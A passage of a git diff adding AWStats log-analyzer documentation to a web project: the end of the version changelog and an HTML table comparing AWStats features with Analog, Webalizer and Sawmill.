NbOfLinesForCorruptedLog. +- Fixed: no more warning/error messages when runned with option perl -w. +- Reference database (robots, os, browsers, search engines, domains) + has been extracted in external files. +- Other minor updates (new flags, reference database updates, ...) +- Fixed: Parameter MaxNbOfHostsShown was not working correctly. +- New languages. +- Added an HTML documentation. + + + +***** 3.1 ***** + +- Increased seriously speed for update process (above all for large web sites). +- Increased VERY seriously speed for viewing stats from a browser. +- Reduced amount of memory used. +- AWStats search config file in directories: + current dir, then /etc/opt/awstats, then /etc/awstats, then /etc +- New feature: AWStats can analyze NCSA common log files. +- New feature: List of last access. +- New feature: Full list of url scores. +- New feature: Date format can be chosen according to local country. +- New parameter: DirLang allows to choose directory for language files. +- New parameter: Expires allows to add a meta-tag EXPIRES in HTML report page. +- New parameter: LogoLink parameter to choose link used for clicking on logo. +- New parameter: color_weekend option to show week-end days in different colors. +- New option: -update and -output to update and/or output a report. +- New option: -showsteps to follow advancement of update process. +- Fixed: OS detection now works correctly (Windows ME reported correctly). +- Fixed: Bad value were reported in daily chart when no pages were viewed. +- Added WAP browsers in AWStats database. +- New languages. + + + +***** 3.0 ***** + +- New look +- Added daily report for pages, hits and bytes. +- AWStats can use its own conversion array to make some reverse DNS lookup. +- Added also SkipDNSLookupFor option. +- Added OnlyFiles option. +- AWStats works with personalized log file format (support also Webstar native log format). New log format parsing algorithm. +- Now update is not made by default when stats are read from a browser. Added an "update now" button on HTML report page if new option AllowToUpdateStatsFromBrowser is on. +- Tooltips now works also with Netscape 6, Opera and most browsers. +- Update browsers database to add a lot of "audio" browsers and more. +- Update OS database (Added Windows ME, OpenBSD). +- Robots database updated. +- Support new domains (biz, museum, coop, info, aero...). +- Added some missing flags icons. +- Rewrite UnescapeURL function to works with all encoded URLs, cyrillic URL. +- Some minor changes. +- Added translation for some "not translated" words. +- Bytes reported are auto-scaled (Bytes, KB, MB, GB). +- Fixed problem of colors (styles) not working with some browsers. +- Added new languages (Korean, Danish, ...). Now 14 different languages. +- Fixed bug of bad link in TOP pages links when viewed page is of another virtual host. +- 259 domains/countries, 60 browsers database, 26 OS, 258 robots, 47 search engines. + + + +***** 2.24 ***** + +- Added a way to include dynamic current year, month, day and hour in LogFile parameter. +- Option to choose month, year and language is also available from command line. +- https request are correctly reported. +- Added initialization of parameters to avoid problem of bad cache with mod_perl. +- Fixed check of parameters to avoid 'Cross Site Scripting attacks'. +- Added flags for Mongolia, Maldives, San Marino, Senegal. +- New keyword detection algorithm (Now use a search engine url database like Webalizer AND old algorithm of AWStats for unknown search engines). +- Added option to report keywords used from search engine as separate words or as full search strings. +- Added Greek, Czech and Portuguese translation (now 9 different languages supported). +- A better and faster config file parsing. Solve the problem of "=" into the HTMLEndSection parameter. +- AWStats is no more sensitive to DOS-UNIX config files. +- Disable DNS lookup only if host has at least 1 alphabetical char. +- Better management of corrupted log files. +- Make difference between windows NT and windows 2000. +- Added OmniWeb and iCab browser. Better MacOS detection. +- Make AWStats still working even when MS IndexServer return a bad HTTP return code (like "1" instead of a "three digits" number). +- Fixed problem of missing year=yyyy in some links. +- Fixed a bug of empty page when domain has "info" in its name. +- A lot of minor changes. +- 252 domains/countries, 44 browsers database, 24 OS, 252 robots, 39 search engines. + + + +***** 2.23 ***** + +- Use of configuration file. +- Now AWStats can process old log files (however, you must keep order). +- Month-to-month basis statistics works now correctly. +- Old years now can also be viewed from AWStats report page. +- Working directory (with write permissions) can be chosen (you can use another directory than cgi-bin). +- Added PurgeLogFile option (you can choose if AWStats purge log file or not). +- awstats.pl can be renamed into awstats.plx (for ActiveState perl) and still works. +- Statistic page generated from command line has no more bad links. +- Added a link to choose full year view. +- Domain and page reports are sorted on pages (no more on hits) +- Automatic disabling of reverse DNS lookup if this is already done in your log file. +- Can add your own HTML code at the end of awstats (ban advert for example). +- Added Italian, German, Polish language (now 7 different languages supported). +- 252 domains/countries, 40 browsers database, 22 OS, 252 robots, 35 search engines. +- Setup instructions are cleaner + + + +***** 2.1 ***** + +- AWStats considers myserver and www.myserver as the same, even if "HostAliases" setup is wrong. +- Fixed a bug making unique visitors counter too high. +- Added ArchiveLog parameter to archive processed records into backup files. +- Make difference between unknown browsers and unknown OS. +- Robots stats are isolated from the rest of visitors. +- Better keywords detection algorithm. +- Added last time connection for each hosts +- Added list of URL for HTTP Error 404 +- Added pages, hits and KB for each statistics +- Added colors and links +- Works also with IIS +- Code a little bit cleaner and faster. +- Images are in .png format. +- 4 languages: English, French, Dutch, Spanish +- 252 domains/countries, 40 browsers database, 22 OS, 250 robots, 32 search engines. + + + +***** 1.0 ***** + +- First version, not distributed diff --git a/src/main/webapp/monitoramento/docs/awstats_compare.html b/src/main/webapp/monitoramento/docs/awstats_compare.html new file mode 100644 index 0000000..fc04683 --- /dev/null +++ b/src/main/webapp/monitoramento/docs/awstats_compare.html @@ -0,0 +1,743 @@ +<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> +<html><head> +<meta name="description" content="AWStats Documentation - Log File analyzer comparison"> +<meta name="keywords" content="awstats, awstat, log, file, analyzer, differences, compare, comparison, analog, webalizer"> +<meta name="robots" content="index,follow"> +<meta name="title" content="AWStats Documentation - Log File analyzer comparison"><title>AWStats Documentation - Log File analyzer comparison</title> + +<link rel="stylesheet" href="styles.css" type="text/css"> +<!-- $Revision: 1.93 $ - $Author: eldy $ - $Date: 2013/07/09 18:54:23 $ --> +<style type="text/css"> +<!-- +.style1 {color: #4444cc} +.style2 {color: #660000} +--> +</style> +</head> +<body topmargin="10" leftmargin="5"> +<table style="font-family: arial,helvetica,verdana; font-style: normal; font-variant: normal; font-weight: normal; font-size: 10pt; line-height: normal; font-size-adjust: none; font-stretch: normal;" bgcolor="#ffffff" border="0" cellpadding="0" cellspacing="0" width="100%"> +<!-- Large --> +<tbody> +<tr style="font-family: arial,helvetica,verdana; font-style: normal; font-variant: normal; font-weight: normal; font-size: 10pt; line-height: normal; font-size-adjust: none; font-stretch: normal;"> +<td align="center" bgcolor="#9999cc"><a href="/"><img src="images/awstats_logo4.png" border="0"></a></td> + +<td align="center" bgcolor="#9999cc"> +<br> +<font style="font-family: arial,helvetica,sans-serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 16pt; line-height: normal; font-size-adjust: none; font-stretch: normal;" color="#eeeeff"><b>AWStats logfile analyzer 7.1 +Documentation</b></font><br> +<br> +</td> +<td align="center" bgcolor="#9999cc"> + +</td> +</tr> +</tbody> +</table> +<br> +<br> +<h1 style="font-family: arial,helvetica,sans-serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 26px; line-height: normal; font-size-adjust: none; font-stretch: normal;">Log +analyzers Comparisons</h1> +<br> + +<a name="COMPARISON"></a><br> +<font color="#665544" size="3"><b>Comparison +between AWStats and other famous statistics tools</b></font><br> +<hr> +<table style="font-family: arial,helvetica,verdana; font-style: normal; font-variant: normal; font-weight: normal; font-size: 11px; line-height: normal; font-size-adjust: none; font-stretch: normal; width: 100%;" border="0" cellpadding="4" cellspacing="0"> +<!-- Info --> +<tbody> +<tr align="center" bgcolor="#eeeeee"> +<td align="left" width="33%"><b>Features/Softwares</b></td> +<td width="14%"><b>AWStats</b></td> +<td width="13%"><b><a href="http://www.analog.cx" target="_blank">Analog</a></b></td> +<td width="15%"><b><a href="http://www.mrunix.net/webalizer/" target="_blank">Webalizer</a></b></td> +<!-- <td width="12%"><b><a href="http://www.hitbox.com" target="_blank">HitBox</a></b></td>--> + +<td width="13%"><b><a href="http://www.sawmill.co.uk?ref=awstats" target="_blank">Sawmill +Analytics</a></b></td> +</tr> +<tr align="center"> +<td align="left">Version - Date</td> +<td>6.95 - October 2009</td> +<td>6.0 - December 2004</td> +<td>2.01-10 - April 2002</td> +<!-- <td>NA</td> --> <td>8.5 - July 2011</td> +</tr> + +<tr align="center" bgcolor="#eeeeee"> +<td align="left">Language</td> +<td>Perl</td> +<td>C</td> +<td>C</td> +<!-- <td>Embedded HTML tag</td> --> <td>C/Salang</td> +</tr> +<tr align="center"> +<td align="left">Available on all platforms</td> +<td><font color="#4444cc">Yes</font></td> + +<td><font color="#4444cc">Yes</font></td> +<td><font color="#4444cc">Yes</font></td> +<!-- <td>NA</td> --> <td><font color="#4444cc">Yes</font></td> +</tr> +<tr align="center" bgcolor="#eeeeee"> +<td align="left">Readable sources available</td> +<td><font color="#4444cc">Yes</font></td> +<td><font color="#4444cc">Yes</font></td> +<td><font color="#4444cc">Yes</font></td> + +<!-- <td><font color=#660000>No</font></td> --> <td><font color="#660000">No (obfuscated sources for compilation only)</font></td> +</tr> +<tr align="center"> +<td align="left">Price/Licence</td> +<td><font color="#4444cc">Free/GPL</font></td> +<td><font color="#4444cc">Free/GPL</font></td> +<td><font color="#4444cc">Free/GPL</font></td> +<!-- <td><font color=#660000>Free with adverts/Proprietary</font></td> --> +<td>From $99 Per Profile<br> +<a href="http://www.sawmill.co.uk/pricing.html" target="_blank"><font style="font-family: arial,helvetica,verdana; font-style: normal; font-variant: normal; font-weight: normal; font-size: 11px; line-height: normal; font-size-adjust: none; font-stretch: normal;">Lite/Pro/Ent</font></a></td> + +</tr> +<tr align="center" bgcolor="#eeeeee"> +<td align="left">Works with Apache combined (XLF/ELF)</td> +<td><font color="#4444cc">Yes</font></td> +<td><font color="#4444cc">Yes</font></td> +<td><font color="#4444cc">Yes</font></td> +<!-- <td>NA</td> --> <td><font color="#4444cc">Yes</font></td> +</tr> +<tr align="center"> +<td align="left">Works with Apache common (CLF) log +format</td> + +<td><font color="#4444cc">All features +available with log format (b)</font></td> +<td><font color="#4444cc">All features +available with log format (b)</font></td> +<td><font color="#4444cc">All features +available with log format (b)</font></td> +<!-- <td>NA</td> --> <td><font color="#4444cc">All +features available with log format (b)</font></td> +</tr> +<tr align="center" bgcolor="#eeeeee"> +<td align="left">Works with IIS (W3C) log format</td> +<td><font color="#4444cc">Yes</font></td> +<td><font color="#4444cc">Yes</font></td> + +<td><font color="#660000">Need a patch</font></td> +<!-- <td>NA</td> --> <td><font color="#4444cc">Yes</font></td> +</tr> +<tr align="center"> +<td align="left">Works with personalized log format</td> +<td><font color="#4444cc">Yes</font></td> +<td><font color="#4444cc">Yes</font></td> +<td><font color="#660000">No</font></td> +<!-- <td>NA</td> --> <td><font color="#4444cc">Yes</font></td> + +</tr> +<tr align="center" bgcolor="#eeeeee"> +<td align="left">Analyze Web/Ftp/Mail log files</td> +<td><font color="#4444cc">Yes/Yes/Yes</font></td> +<td><font color="#4444cc">Yes</font>/<font color="#660000">No/No</font></td> +<td><font color="#4444cc">Yes</font>/<font color="#660000">No/No</font></td> +<!-- <td>NA<font color=#660000>No/No</font></td> --> <td><font color="#4444cc">Yes/Yes/Yes (850+) </font></td> + +</tr> +<tr align="center"> +<td align="left">Report and update of statistics from</td> +<td><font color="#4444cc">Command line (CLI) +and/or<br> +a browser (CGI)</font></td> +<td><font color="#4444cc">Command line (CLI) +and/or<br> +a browser (CGI)</font></td> +<td><font color="#660000">Command line</font></td> +<!-- <td>NA</td> --> <td><font color="#4444cc">Command +line (CLI) and/or<br> +a browser (CGI)<br> +and/or HTTP API</font><br> +</td> +</tr> +<tr align="center"> +<td align="left">Scheduler</td> +<td>External (crontab, windows task manager)</td> +<td>External (crontab, windows task manager)</td> +<td>External (crontab, windows task manager)</td> +<!-- <td>NA</td> --> <td>Built-in</td> +</tr> + +<tr align="center" bgcolor="#eeeeee"> +<td align="left">Internal reverse DNS lookup</td> +<td><font color="#4444cc">Yes</font></td> +<td><font color="#4444cc">Yes</font></td> +<td><font color="#4444cc">Yes</font></td> +<!-- <td>NA</td> --> <td><font color="#4444cc">Yes</font></td> +</tr> +<tr align="center"> +<td align="left">DNS cache file</td> +<td><font color="#4444cc">Static and dynamic</font></td> + +<td><font color="#4444cc">Static </font><font color="#660000">or</font> <font color="#4444cc">dynamic</font></td> +<td><font color="#4444cc">Static </font><font color="#660000">or</font> <font color="#4444cc">dynamic</font></td> +<!-- <td>NA</td> --> <td><font color="#4444cc">Yes +(per update, or custom)</font></td> +</tr> +<tr align="center" bgcolor="#eeeeee"> +<td align="left">Process logs spitted by load +balancing systems</td> + +<td><font color="#4444cc">Yes</font></td> +<td><font color="#4444cc">Yes</font></td> +<td><font color="#660000">No</font></td> +<!-- <td><font color=#660000>No</font></td> --> <td><font color="#4444cc">Yes</font></td> +</tr> +<!-- Who --> +<tr align="center"> +<td align="left">Report number of "human" visits</td> +<td><font color="#4444cc">Yes</font></td> +<td><font color="#660000">No</font></td> + +<td><font color="#4444cc">Yes</font></td> +<!-- <td><font color=#4444cc>Yes</font></td> --> <td><font color="#4444cc">Yes (Sessions)</font></td> +</tr> +<tr align="center" bgcolor="#eeeeee"> +<td align="left">Report unique "human" visitors</td> +<td><font color="#4444cc">Yes</font></td> +<td><font color="#660000">No</font></td> +<td><font color="#660000">No</font></td> +<!-- <td><font color=#4444cc>Yes</font></td> --> <td><font color="#4444cc">Yes (Visitors)</font></td> + +</tr> +<tr align="center"> +<td align="left">Report session duration</td> +<td><font color="#4444cc">Yes</font></td> +<td><font color="#660000">No</font></td> +<td><font color="#660000">No</font></td> +<!-- <td><font color=#4444cc>Yes</font></td> --> <td><font color="#4444cc">Yes</font></td> +</tr> +<tr align="center" bgcolor="#eeeeee"> +<td align="left">Not ordered records tolerance and +reorder for visits</td> + +<td><font color="#4444cc">Yes</font></td> +<td><font color="#660000">Visits not supported</font></td> +<td><font color="#660000">No</font></td> +<!-- <td>?</td> --> <td><font color="#4444cc">Yes</font></td> +</tr> +<tr align="center"> +<td align="left">Statistics for visits are based on</td> +<td><font color="#4444cc">Pages *****</font></td> +<td><font color="#660000">Not supported</font></td> + +<td><font color="#4444cc">Pages *****</font></td> +<!-- <td><font color=#4444cc>Pages *****</font></td> --> <td><font color="#4444cc">Pages *****</font></td> +</tr> +<tr align="center" bgcolor="#eeeeee"> +<td align="left">Statistics for unique visitors are +based on</td> +<td><font color="#4444cc">Pages *****</font></td> +<td><font color="#660000">Not supported</font></td> +<td><font color="#660000">Not supported</font></td> +<!-- <td><font color=#4444cc>Pages *****</font></td> --> <td><font color="#4444cc">Client IP / Cookie<br> + +Custom *****</font></td> +</tr> +<tr align="center"> +<td align="left">Report countries</td> +<td><font color="#4444cc">From IP location<br> +or domain name</font></td> +<td><font color="#660000">Domain name</font></td> +<td><font color="#660000">Domain name</font></td> +<!-- <td>?</td> --> <td><font color="#4444cc">From +IP location<br> + +or domain name</font></td> +</tr> +<tr align="center" bgcolor="#eeeeee"> +<td align="left">Report regions (US and Canada +states)</td> +<td>Need <a href="http://www.maxmind.com/en/city?rId=awstats"><font style="font-family: arial,helvetica,verdana; font-style: normal; font-variant: normal; font-weight: normal; font-size: 11px; line-height: normal; font-size-adjust: none; font-stretch: normal;">Maxmind +Regions</font></a> database</td> +<td><font color="#660000">No</font></td> +<td><font color="#660000">No</font></td> +<!-- <td><font color=#660000>No</font></td> --> <td><font color="#4444cc">Yes</font><br> + +GeoLite City included</td> +</tr> +<tr align="center"> +<td align="left">Report cities and major countries +regions</td> +<td>Need <a href="http://www.maxmind.com/en/city?rId=awstats"><font style="font-family: arial,helvetica,verdana; font-style: normal; font-variant: normal; font-weight: normal; font-size: 11px; line-height: normal; font-size-adjust: none; font-stretch: normal;">Maxmind +Cities</font></a> database</td> +<td><font color="#660000">No</font></td> +<td><font color="#660000">No</font></td> +<!-- <td><font color=#660000>No</font></td> --> <td><font color="#4444cc">Yes</font><br> + +GeoLite City included</td> +</tr> +<tr align="center" bgcolor="#eeeeee"> +<td align="left">Report ISP</td> +<td>Need <a href="http://www.maxmind.com/en/city?rId=awstats"><font style="font-family: arial,helvetica,verdana; font-style: normal; font-variant: normal; font-weight: normal; font-size: 11px; line-height: normal; font-size-adjust: none; font-stretch: normal;">Maxmind +ISP</font></a> database</td> +<td><font color="#660000">No</font></td> +<td><font color="#660000">No</font></td> +<!-- <td><font color=#660000>No</font></td> --> <td>Need + +<a href="http://www.maxmind.com/en/city?rId=awstats"><font style="font-family: arial,helvetica,verdana; font-style: normal; font-variant: normal; font-weight: normal; font-size: 11px; line-height: normal; font-size-adjust: none; font-stretch: normal;">Maxmind +ISP</font></a> database</td> +</tr> +<tr align="center"> +<td align="left">Report Organizations name</td> +<td>Need <a href="http://www.maxmind.com/en/city?rId=awstats"><font style="font-family: arial,helvetica,verdana; font-style: normal; font-variant: normal; font-weight: normal; font-size: 11px; line-height: normal; font-size-adjust: none; font-stretch: normal;">Maxmind +Org</font></a> database</td> +<td><font color="#660000">No</font></td> +<td><font color="#660000">No</font></td> + +<!-- <td><font color=#660000>No</font></td> --> <td>Need +<a href="http://www.maxmind.com/en/city?rId=awstats"><font style="font-family: arial,helvetica,verdana; font-style: normal; font-variant: normal; font-weight: normal; font-size: 11px; line-height: normal; font-size-adjust: none; font-stretch: normal;">Maxmind +Org</font></a> database</td> +</tr> +<tr align="center" bgcolor="#eeeeee"> +<td align="left">Report hosts</td> +<td><font color="#4444cc">Yes</font></td> +<td><font color="#4444cc">Yes</font></td> +<td><font color="#4444cc">Yes</font></td> +<!-- <td><font color=#4444cc>Yes</font></td> --> <td><font color="#4444cc">Yes</font></td> + +</tr> +<tr align="center"> +<td align="left">Report WhoIs informations on hosts</td> +<td><font color="#4444cc">Yes</font></td> +<td><font color="#660000">No</font></td> +<!-- <td><font color=#660000>No</font></td> --> <td><font color="#660000">No</font></td> +<td><font color="#660000">No</font></td> +</tr> +<tr align="center" bgcolor="#eeeeee"> +<td align="left">Report authenticated users</td> + +<td><font color="#4444cc">Yes</font></td> +<td><font color="#4444cc">Yes</font></td> +<td><font color="#660000">No</font></td> +<!-- <td><font color=#660000>No</font></td> --> <td><font color="#4444cc">Yes</font></td> +</tr> +<tr align="center"> +<td align="left">Report/Filter robots (nb detected)</td> +<td><font color="#4444cc">Yes/Yes (642**)</font></td> +<td><font color="#4444cc">Yes / Yes</font> + +<font color="#660000">(8**)</font></td> +<td><font color="#660000">No/No</font></td> +<!-- <td><font color=#660000>No/No</font></td> --> <td><font color="#4444cc">Yes/Yes (250**)</font></td> +</tr> +<tr align="center" bgcolor="#eeeeee"> +<td align="left">Report/Filter worms (nb of families +detected)</td> +<td><font color="#4444cc">Yes/Yes (5)</font></td> +<td><font color="#660000">No / No</font></td> +<td><font color="#660000">No/No</font></td> + +<!-- <td><font color=#660000>No/No</font></td> --> <td><font color="#4444cc">Yes/Yes (4)</font></td> +</tr> +<!-- When --> +<tr align="center"> +<td align="left">Report rush hours</td> +<td><font color="#4444cc">Yes</font></td> +<td><font color="#4444cc">Yes</font></td> +<td><font color="#4444cc">Yes</font></td> +<!-- <td><font color=#4444cc>Yes</font></td> --> <td><font color="#4444cc">Yes</font></td> + +</tr> +<tr align="center" bgcolor="#eeeeee"> +<td align="left">Report days of week</td> +<td><font color="#4444cc">Yes</font></td> +<td><font color="#4444cc">Yes</font></td> +<td><font color="#4444cc">Yes</font></td> +<!-- <td><font color=#4444cc>Yes</font></td> --> <td><font color="#4444cc">Yes</font></td> +</tr> +<!-- What --> +<tr align="center"> +<td align="left">Report most often viewed pages</td> + +<td><font color="#4444cc">Yes<br> +</font></td> +<td><font color="#4444cc">Yes</font></td> +<td><font color="#4444cc">Yes</font></td> +<!-- <td><font color=#4444cc>Yes</font></td> --> <td><font color="#4444cc">Yes</font></td> +</tr> +<tr align="center" bgcolor="#eeeeee"> +<td align="left">Report entry pages</td> +<td><font color="#4444cc">Yes<br> +</font></td> + +<td><font color="#660000">No</font></td> +<td><font color="#4444cc">Yes</font></td> +<!-- <td><font color=#4444cc>Yes</font></td> --> <td><font color="#4444cc">Yes</font></td> +</tr> +<tr align="center"> +<td align="left">Report exit pages</td> +<td><font color="#4444cc">Yes<br> +</font></td> +<td><font color="#660000">No</font></td> +<td><font color="#4444cc">Yes</font></td> + +<!-- <td><font color=#4444cc>Yes</font></td> --> <td><font color="#4444cc">Yes</font></td> +</tr> +<tr align="center" bgcolor="#eeeeee"> +<td align="left">Not ordered records tolerance and +reorder for entry/exit pages</td> +<td><font color="#4444cc">Yes</font></td> +<td><font color="#660000">Entry/Exit not +supported</font></td> +<td><font color="#660000">No</font></td> +<!-- <td>?</td> --> <td><font color="#4444cc">Yes</font></td> +</tr> + +<tr align="center"> +<td align="left">Detection of CGI pages as pages +(and not just hits)</td> +<td><font color="#4444cc">Yes</font></td> +<td><font color="#660000">Only if prog ends by +a defined value</font></td> +<td><font color="#660000">Only if prog ends by +a defined value</font></td> +<!-- <td><font color=#4444cc>Yes</font></td> --> <td><font color="#4444cc">Yes</font></td> +</tr> +<tr align="center" bgcolor="#eeeeee"> +<td align="left">Report pages by directory</td> +<td><font color="#660000">No</font></td> + +<td><font color="#4444cc">Yes</font></td> +<td><font color="#660000">No</font></td> +<!-- <td><font color=#660000>No</font></td> --> <td><font color="#4444cc">Yes</font></td> +</tr> +<tr align="center"> +<td align="left">Report pages with last access +time/average size</td> +<td><font color="#4444cc">Yes/Yes</font></td> +<td><font color="#4444cc">Yes</font>/<font color="#660000">No</font></td> + +<td><font color="#660000">No/No</font></td> +<!-- <td><font color=#660000>No/No</font></td> --> <td><font color="#4444cc">Yes</font>/<font color="#660000">No</font></td> +</tr> +<tr align="center" bgcolor="#eeeeee"> +<td align="left">Dynamic filter on +hosts/pages/referers report</td> +<td><font color="#4444cc">Yes/Yes/Yes</font></td> +<td><font color="#660000">No/No/No</font></td> +<td><font color="#660000">No/No/No</font></td> + +<!-- <td><font color=#660000>No/No/No</font></td> --> <td><font color="#4444cc">Yes/Yes/Yes</font></td> +</tr> +<tr align="center"> +<td align="left">Report web compression statistics +(mod_gzip,mod_deflate)</td> +<td><font color="#4444cc">Yes</font></td> +<td><font color="#660000">No</font></td> +<td><font color="#660000">No</font></td> +<!-- <td><font color=#660000>No</font></td> --> <td><span class="style2">No</span></td> +</tr> + +<tr align="center" bgcolor="#eeeeee"> +<td align="left">Report file types</td> +<td><font color="#4444cc">Yes</font></td> +<td><font color="#4444cc">Yes</font></td> +<td><font color="#660000">No</font></td> +<!-- <td><font color=#660000>No</font></td> --> <td><font color="#4444cc">Yes</font></td> +</tr> +<tr align="center"> +<td align="left">Report by file size</td> +<td><font color="#660000">No</font></td> + +<td><font color="#4444cc">Yes</font></td> +<td><font color="#660000">No</font></td> +<!-- <td><font color=#660000>No</font></td> --> <td><font color="#4444cc">Yes</font></td> +</tr> +<tr align="center" bgcolor="#eeeeee"> +<td align="left">Report OS (nb detected)</td> +<td><font color="#4444cc">Yes (71)</font></td> +<td><font color="#4444cc">Yes</font><font color="#660000"> (29)</font></td> + +<td><font color="#660000">No (0)</font></td> +<!-- <td>?</td> --> <td><font color="#4444cc">Yes</font></td> +</tr> +<tr align="center"> +<td align="left">Report browsers (nb detected)</td> +<td><font color="#4444cc">Yes (208*)</font></td> +<td><font color="#4444cc">Yes</font><font color="#660000"> (9*)</font></td> +<td><font color="#4444cc">Yes</font><font color="#660000"> (4*)</font></td> + +<!-- <td><font color=#4444cc>Yes</font><font color=#660000> (<20*)</font></td> --> +<td><font color="#4444cc">Yes (~20*) </font></td> +</tr> +<tr align="center" bgcolor="#eeeeee"> +<td align="left">Report details of browsers versions</td> +<td><font color="#4444cc">Major and minor +versions</font></td> +<td><font color="#4444cc">Major versions by +default,<br> +minor with SUBBROW option</font></td> +<td><font color="#4444cc">Major an minor +versions</font></td> +<!-- <td><font color=#4444cc>Major and minor versions</font></td> --> +<td><font color="#4444cc">Major and minor +versions</font></td> + +</tr> +<tr align="center"> +<td align="left">Report screen sizes</td> +<td><font color="#4444cc">Yes</font></td> +<td><font color="#660000">No</font></td> +<td><font color="#660000">No</font></td> +<!-- <td><font color=#4444cc>Yes</font></td> --> <td><font color="#4444cc">Yes & Depths</font></td> +</tr> +<tr align="center" bgcolor="#eeeeee"> + +<td align="left">Report tech supported by browser +for Java/Flash/PDF</td> +<td><font color="#4444cc">Yes/Yes/Yes</font></td> +<td><font color="#660000">No/No/No</font></td> +<td><font color="#660000">No/No/No</font></td> +<!-- <td><font color=#660000>No/No/No</font></td> --> <td><font color="#660000">No/No/No</font></td> +</tr> +<tr align="center"> +<td align="left">Report audio format supported by +browser for Real/QuickTime/Mediaplayer</td> +<td><font color="#4444cc">Yes/Yes/Yes</font></td> + +<td><font color="#660000">No/No/No</font></td> +<td><font color="#660000">No/No/No</font></td> +<!-- <td><font color=#660000>No/No/No</font></td> --> <td><font color="#660000">No/No/No</font></td> +</tr> +<!-- Referrer --> +<tr align="center" bgcolor="#eeeeee"> +<td align="left">Report search engines used (nb +detected)</td> +<td><font color="#4444cc">Yes (228***)</font></td> +<td><font color="#4444cc">Yes </font><font color="#660000">(24)</font></td> + +<td><font color="#660000">No (0)</font></td> +<!-- <td><font color=#4444cc>Yes</font><font color=#660000> (<20 ***)</font></td> --> +<td><font color="#4444cc">Yes (67***)</font></td> +</tr> +<tr align="center"> +<td align="left">Report keywords/keyphrases used on +search engines (nb detected)</td> +<td><font color="#4444cc">Yes/Yes (118***)</font></td> +<td><font color="#4444cc">Yes</font>/<font color="#660000">No</font><font color="#660000"> +(29***)</font></td> + +<td><font color="#660000">No</font>/<font color="#4444cc">Yes</font><font color="#660000"> +(14***)</font></td> +<!-- <td><font color=#4444cc>Yes</font>/<font color=#660000>No (<20***)</font></td> --> +<td><font color="#4444cc">Yes/Yes (67***)</font></td> +</tr> +<tr align="center" bgcolor="#eeeeee"> +<td align="left">Report external refering web page +with/without query</td> +<td><font color="#4444cc">Yes/Yes</font></td> +<td><font color="#660000">No/No</font></td> + +<td><font color="#660000">No</font>/<font color="#4444cc">Yes</font></td> +<!-- <td><font color=#4444cc>Yes</font>/<font color=#660000>No</font></td> --> +<td><font color="#4444cc">Yes/Yes</font></td> +</tr> +<!-- Misc --> +<tr align="center"> +<td align="left">Report HTTP Errors</td> +<td><font color="#4444cc">Yes<br> +</font></td> +<td><font color="#4444cc">Yes</font></td> + +<td><font color="#4444cc">Yes</font></td> +<!-- <td><font color=#660000>No</font></td> --> <td><font color="#4444cc">Yes</font></td> +</tr> +<tr align="center" bgcolor="#eeeeee"> +<td align="left">Report 404 Errors</td> +<td><font color="#4444cc">Nb + +List referer<br> +</font></td> +<td><font color="#660000">Nb only</font></td> +<td><font color="#660000">Nb only</font></td> + +<!-- <td><font color=#660000>No</font></td> --> <td><font color="#4444cc">Nb + List last date/referer</font></td> +</tr> +<tr align="center"> +<td align="left">Other personalized reports for +miscellanous/marketing purpose</td> +<td><font color="#4444cc">Yes<br> +</font></td> +<td><font color="#660000">No</font></td> +<td><font color="#660000">No</font></td> +<!-- <td><font color=#660000>No</font></td> --> <td><font color="#4444cc">Yes</font></td> + +</tr> +<tr align="center" bgcolor="#eeeeee"> +<td align="left">Daily statistics </td> +<td><font color="#4444cc">Yes</font></td> +<td><font color="#4444cc">Yes</font></td> +<td><font color="#4444cc">Yes</font></td> +<!-- <td><font color=#4444cc>Yes</font></td> --> <td><font color="#4444cc">Yes</font></td> +</tr> +<tr align="center"> +<td align="left">Weekly statistics </td> + +<td><font color="#660000">No</font></td> +<td><font color="#660000">No</font></td> +<td><font color="#660000">No</font></td> +<!-- <td>?</td> --> <td><font color="#4444cc">Yes</font></td> +</tr> +<tr align="center" bgcolor="#eeeeee"> +<td align="left">Monthly statistics </td> +<td><font color="#4444cc">Yes</font></td> +<td><font color="#4444cc">Yes</font></td> + +<td><font color="#4444cc">Yes</font></td> +<!-- <td><font color=#4444cc>Yes</font></td> --> <td><font color="#4444cc">Yes</font></td> +</tr> +<tr align="center"> +<td align="left">Yearly statistics </td> +<td><font color="#4444cc">Yes</font></td> +<td><font color="#4444cc">Yes</font></td> +<td><font color="#4444cc">Yes</font></td> +<!-- <td><font color=#4444cc>Yes</font></td> --> <td><font color="#4444cc">Yes</font></td> + +</tr> +<tr align="center" bgcolor="#eeeeee"> +<td align="left">Custom date range </td> +<td><font color="#660000">No</font></td> +<td><font color="#660000">No</font></td> +<td><font color="#660000">No</font></td> +<!-- <td>?</td> --> <td><font color="#4444cc">Yes</font></td> +</tr> +<tr align="center"> +<td align="left">Benchmark with no DNS lookup in +lines/seconds<br> + +(full features enabled, with XLF format, cygwin Perl 5.8, Athlon 1Ghz)</td> +<td><font color="#660000">5200****</font></td> +<td><font color="#4444cc">39000****</font></td> +<td><font color="#660000">12000****</font></td> +<!-- <td>NA<br>No program to run</td> --> <td>Not +calculated</td> +</tr> +<tr align="center" bgcolor="#eeeeee"> +<td align="left">Benchmark with DNS lookup in +lines/seconds<br> +(full features enabled, with XLF format, cygwin Perl 5.8, Athlon 1Ghz)</td> + +<td><font color="#4444cc">80****</font></td> +<td><font color="#4444cc">80****</font></td> +<td><font color="#4444cc">80****</font></td> +<!-- <td>NA<br>No program to run</td> --> <td>Not +calculated</td> +</tr> +<tr align="center"> +<td align="left">Analyzed data save format (to use +with third tools)</td> +<td><font color="#4444cc">Structured text file +or XML</font></td> +<td><font color="#4444cc">Text files with +OUTPUT option</font></td> + +<td><font color="#660000">Flat text file</font></td> +<!-- <td><font color=#660000>Not possible</font></td> --> <td><font color="#660000">Flat text file</font>/<font color="#4444cc">MySQL/MS SQL/Oracle</font></td> +</tr> +<tr align="center" bgcolor="#eeeeee"> +<td align="left">Export statistics to PDF</td> +<td>Experimental</td> +<td><font color="#660000">No</font></td> +<td><font color="#660000">No</font></td> + +<!-- <td><font color=#660000>No</font></td> --> <td><span class="style1">Yes</span><font color="#660000"> & <br> +HTML (static/email) & CSV</font></td> +</tr> +<tr align="center"> +<td align="left">Graphical statistics in one page / +several / or frames</td> +<td><font color="#4444cc">Yes/Yes/Yes</font></td> +<td><font color="#4444cc">Yes</font>/<font color="#660000">No/No</font></td> + +<td><font 